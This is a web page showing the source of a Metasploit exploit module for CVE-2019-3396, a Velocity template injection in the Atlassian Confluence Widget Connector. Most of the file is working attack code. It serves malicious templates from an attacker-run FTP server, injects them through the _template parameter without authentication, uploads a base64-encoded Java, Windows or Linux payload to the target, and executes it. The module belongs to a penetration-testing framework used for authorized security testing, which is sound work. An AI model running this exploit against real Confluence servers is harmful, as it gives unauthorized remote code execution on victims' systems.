CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/confluence_widget_connector.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Exploit::FileDropper
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::Remote::FtpServer
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Atlassian Confluence Widget Connector Macro Velocity Template Injection',
19
'Description' => %q{
20
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
21
allows embed online videos, slideshows, photostreams and more directly into page.
22
A _template parameter can be used to inject remote Java code into a Velocity template,
23
and gain code execution. Authentication is unrequired to exploit this vulnerability.
24
By default, Java payload will be used because it is cross-platform, but you can also
25
specify which native payload you want (Linux or Windows).
26
27
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
28
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
29
30
This vulnerability was originally discovered by Daniil Dmitriev
31
https://twitter.com/ddv_ua.
32
},
33
'License' => MSF_LICENSE,
34
'Author' => [
35
'Daniil Dmitriev', # Discovering vulnerability
36
'Dmitry (rrock) Shchannikov' # Metasploit module
37
],
38
'References' => [
39
[ 'CVE', '2019-3396' ],
40
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],
41
[ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],
42
[ 'URL', 'https://paper.seebug.org/886/']
43
],
44
'Targets' => [
45
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
46
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
47
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
48
],
49
'DefaultOptions' => {
50
'RPORT' => 8090,
51
'SRVPORT' => 8021
52
},
53
'Privileged' => false,
54
'DisclosureDate' => '2019-03-25',
55
'DefaultTarget' => 0,
56
'Stance' => Msf::Exploit::Stance::Aggressive,
57
'Notes' => {
58
'Stability' => [ CRASH_SAFE ],
59
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
60
'Reliability' => [ REPEATABLE_SESSION ]
61
}
62
)
63
)
64
65
register_options(
66
[
67
OptAddress.new('SRVHOST', [true, 'Callback address for template loading']),
68
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
69
OptString.new('TRIGGERURL', [
70
true, 'Url to external video service to trigger vulnerability',
71
'https://www.youtube.com/watch?v=kxopViU98Xo'
72
])
73
]
74
)
75
end
76
77
# Handles ftp RETP command.
78
#
79
# @param ccs [Socket] Control connection socket.
80
# @param arg [String] RETR argument.
81
# @return [void]
82
def on_client_command_retr(ccs, arg)
83
vprint_status("FTP download request for #{arg}")
84
conn = establish_data_connection(ccs)
85
if !conn
86
ccs.put("425 Can't build data connection\r\n")
87
return
88
end
89
90
ccs.put("150 Opening BINARY mode data connection for #{arg}\r\n")
91
case arg
92
when /check\.vm$/
93
conn.put(wrap(get_check_vm))
94
when /javaprop\.vm$/
95
conn.put(wrap(get_javaprop_vm))
96
when /upload\.vm$/
97
conn.put(wrap(get_upload_vm))
98
when /exec\.vm$/
99
conn.put(wrap(get_exec_vm))
100
else
101
conn.put(wrap(get_dummy_vm))
102
end
103
ccs.put("226 Transfer complete.\r\n")
104
conn.close
105
end
106
107
# Handles ftp PASS command to suppress output.
108
#
109
# @param ccs [Socket] Control connection socket.
110
# @param arg [String] PASS argument.
111
# @return [void]
112
def on_client_command_pass(ccs, arg)
113
@state[ccs][:pass] = arg
114
vprint_status("#{@state[ccs][:name]} LOGIN #{@state[ccs][:user]} / #{@state[ccs][:pass]}")
115
ccs.put "230 Login OK\r\n"
116
end
117
118
# Handles ftp EPSV command to suppress output.
119
#
120
# @param ccs [Socket] Control connection socket.
121
# @param arg [String] EPSV argument.
122
# @return [void]
123
def on_client_command_epsv(ccs, arg)
124
vprint_status("#{@state[ccs][:name]} UNKNOWN 'EPSV #{arg}'")
125
ccs.put("500 'EPSV #{arg}': command not understood.\r\n")
126
end
127
128
# Returns a upload template.
129
#
130
# @return [String]
131
def get_upload_vm
132
<<~EOF
133
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
134
EOF
135
end
136
137
# Returns a command execution template.
138
#
139
# @return [String]
140
def get_exec_vm
141
<<~EOF
142
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
143
EOF
144
end
145
146
# Returns checking template.
147
#
148
# @return [String]
149
def get_check_vm
150
<<~EOF
151
#{@check_text}
152
EOF
153
end
154
155
# Returns Java's getting property template.
156
#
157
# @return [String]
158
def get_javaprop_vm
159
<<~EOF
160
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
161
EOF
162
end
163
164
# Returns dummy template.
165
#
166
# @return [String]
167
def get_dummy_vm
168
<<~EOF
169
EOF
170
end
171
172
# Checks the vulnerability.
173
#
174
# @return [Array] Check code
175
def check
176
checkcode = Exploit::CheckCode::Safe
177
begin
178
# Start the FTP service
179
print_status('Starting the FTP server.')
180
start_service
181
182
@check_text = Rex::Text.rand_text_alpha(5..10)
183
res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}check.vm")
184
if res && res.body && res.body.include?(@check_text)
185
checkcode = Exploit::CheckCode::Vulnerable
186
end
187
rescue Msf::Exploit::Failed => e
188
vprint_error(e.message)
189
checkcode = Exploit::CheckCode::Unknown
190
end
191
checkcode
192
end
193
194
# Injects Java code to the template.
195
#
196
# @param service_url [String] Address of template to injection.
197
# @return [void]
198
def inject_template(service_url, timeout = 20)
199
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
200
201
res = send_request_cgi({
202
'method' => 'POST',
203
'uri' => uri,
204
'headers' => {
205
'Accept' => '*/*',
206
'Origin' => full_uri(vhost_uri: true)
207
},
208
'ctype' => 'application/json; charset=UTF-8',
209
'data' => {
210
'contentId' => '1',
211
'macro' => {
212
'name' => 'widget',
213
'body' => '',
214
'params' => {
215
'url' => datastore['TRIGGERURL'],
216
'_template' => service_url
217
}
218
219
}
220
}.to_json
221
}, timeout)
222
223
unless res
224
unless service_url.include?('exec.vm')
225
print_warning('Connection timed out in #inject_template')
226
end
227
return
228
end
229
230
if res.body.include? 'widget-error'
231
print_error('Failed to inject and execute code:')
232
else
233
vprint_status('Server response:')
234
end
235
236
vprint_line(res.body)
237
238
res
239
end
240
241
# Returns a system property for Java.
242
#
243
# @param prop [String] Name of the property to retrieve.
244
# @return [Array] Array consisting of a result code (Integer) and, if the property could be obtained, the property (String).
245
def get_java_property(prop)
246
@prop = prop
247
res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
248
if res && res.body
249
if res.body.empty?
250
return [2]
251
else
252
prop_to_return = clear_response(res.body)
253
if prop_to_return.blank?
254
return [2]
255
else
256
return [0, prop_to_return]
257
end
258
end
259
end
260
[1]
261
end
262
263
# Returns the target platform.
264
#
265
# @return [String]
266
def get_target_platform
267
return get_java_property('os.name')
268
end
269
270
# Checks if the target os/platform is compatible with the module target or not.
271
#
272
# @return [TrueClass] Compatible
273
# @return [FalseClass] Not compatible
274
def target_platform_compat?(target_platform)
275
target.platform.names.each do |n|
276
if n.downcase == 'java' || target_platform.downcase.include?(n.downcase)
277
return true
278
end
279
end
280
281
false
282
end
283
284
# Returns a temp path from the remote target.
285
#
286
# @return [String]
287
def get_tmp_path
288
return get_java_property('java.io.tmpdir')
289
end
290
291
# Returns the Java home path used by Confluence.
292
#
293
# @return [String]
294
def get_java_home_path
295
return get_java_property('java.home')
296
end
297
298
# Returns Java code that can be used to inject to the template in order to copy a file.
299
#
300
# @note The purpose of this method is to have a file that is not busy, so we can execute it.
301
# It is meant to be used with #get_write_file_code.
302
#
303
# @param fname [String] The file to copy
304
# @param new_fname [String] The new file
305
# @return [void]
306
def get_dup_file_code(fname, new_fname)
307
if fname =~ %r{^/[[:print:]]+}
308
@command = "cp #{fname} #{new_fname}"
309
else
310
@command = "cmd.exe /C copy #{fname} #{new_fname}"
311
end
312
313
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm")
314
end
315
316
# Returns the normalized file path for payload.
317
#
318
# @return [String]
319
def normalize_payload_fname(tmp_path, fname)
320
# A quick way to check platform instead of actually grabbing os.name in Java system properties.
321
if tmp_path =~ %r{^/[[:print:]]+}
322
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
323
else
324
Rex::FileUtils.normalize_win_path(tmp_path, fname)
325
end
326
end
327
328
# Exploits the target in Java platform.
329
#
330
# @return [void]
331
def exploit_as_java
332
res_code, tmp_path = get_tmp_path
333
334
unless res_code == 0
335
fail_with(Failure::Unknown, 'Unable to get the temp path.')
336
end
337
338
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
339
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
340
@command = ''
341
342
res_code, java_home = get_java_home_path
343
344
if res_code == 0
345
vprint_status("Found Java home path: #{java_home}")
346
else
347
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
348
end
349
350
register_files_for_cleanup(@fname)
351
352
if @fname =~ %r{^/[[:print:]]+}
353
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')
354
@command = %(#{normalized_java_path} -jar #{@fname})
355
else
356
normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')
357
@fname.gsub!(/Program Files/, 'PROGRA~1')
358
@command = %(cmd.exe /C "#{normalized_java_path}" -jar #{@fname})
359
end
360
361
print_status("Attempting to upload #{@fname}")
362
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
363
364
print_status("Attempting to execute #{@fname}")
365
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
366
end
367
368
# Exploits the target in Windows platform.
369
#
370
# @return [void]
371
def exploit_as_windows
372
res_code, tmp_path = get_tmp_path
373
374
unless res_code == 0
375
fail_with(Failure::Unknown, 'Unable to get the temp path.')
376
end
377
378
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
379
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
380
new_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
381
@fname.gsub!(/Program Files/, 'PROGRA~1')
382
new_fname.gsub!(/Program Files/, 'PROGRA~1')
383
register_files_for_cleanup(@fname, new_fname)
384
385
print_status("Attempting to upload #{@fname}")
386
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
387
388
print_status("Attempting to copy payload to #{new_fname}")
389
get_dup_file_code(@fname, new_fname)
390
391
print_status("Attempting to execute #{new_fname}")
392
@command = new_fname
393
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
394
end
395
396
# Exploits the target in Linux platform.
397
#
398
# @return [void]
399
def exploit_as_linux
400
res_code, tmp_path = get_tmp_path
401
402
unless res_code == 0
403
fail_with(Failure::Unknown, 'Unable to get the temp path.')
404
end
405
406
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
407
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
408
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
409
register_files_for_cleanup(@fname, new_fname)
410
411
print_status("Attempting to upload #{@fname}")
412
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
413
414
@command = "chmod +x #{@fname}"
415
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm")
416
417
print_status("Attempting to copy payload to #{new_fname}")
418
get_dup_file_code(@fname, new_fname)
419
420
print_status("Attempting to execute #{new_fname}")
421
@command = new_fname
422
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
423
end
424
425
def exploit
426
@wrap_marker = Rex::Text.rand_text_alpha(5..10)
427
428
# Start the FTP service
429
print_status('Starting the FTP server.')
430
start_service
431
432
res_code, target_platform = get_target_platform
433
case res_code
434
when 0
435
print_status("Target being detected as: #{target_platform}")
436
when 1
437
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
438
when 2
439
fail_with(Failure::NoTarget, 'Failed to obtain the target OS.')
440
end
441
442
unless target_platform_compat?(target_platform)
443
fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')
444
end
445
446
case target.name.downcase
447
when /java$/
448
exploit_as_java
449
when /windows$/
450
exploit_as_windows
451
when /linux$/
452
exploit_as_linux
453
end
454
end
455
456
# Wraps request.
457
#
458
# @return [String]
459
def wrap(string)
460
"#{@wrap_marker}\n#{string}#{@wrap_marker}\n"
461
end
462
463
# Returns unwrapped response.
464
#
465
# @return [String, nil]
466
def clear_response(string)
467
string.scan(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)&.flatten&.first
468
end
469
end
470
471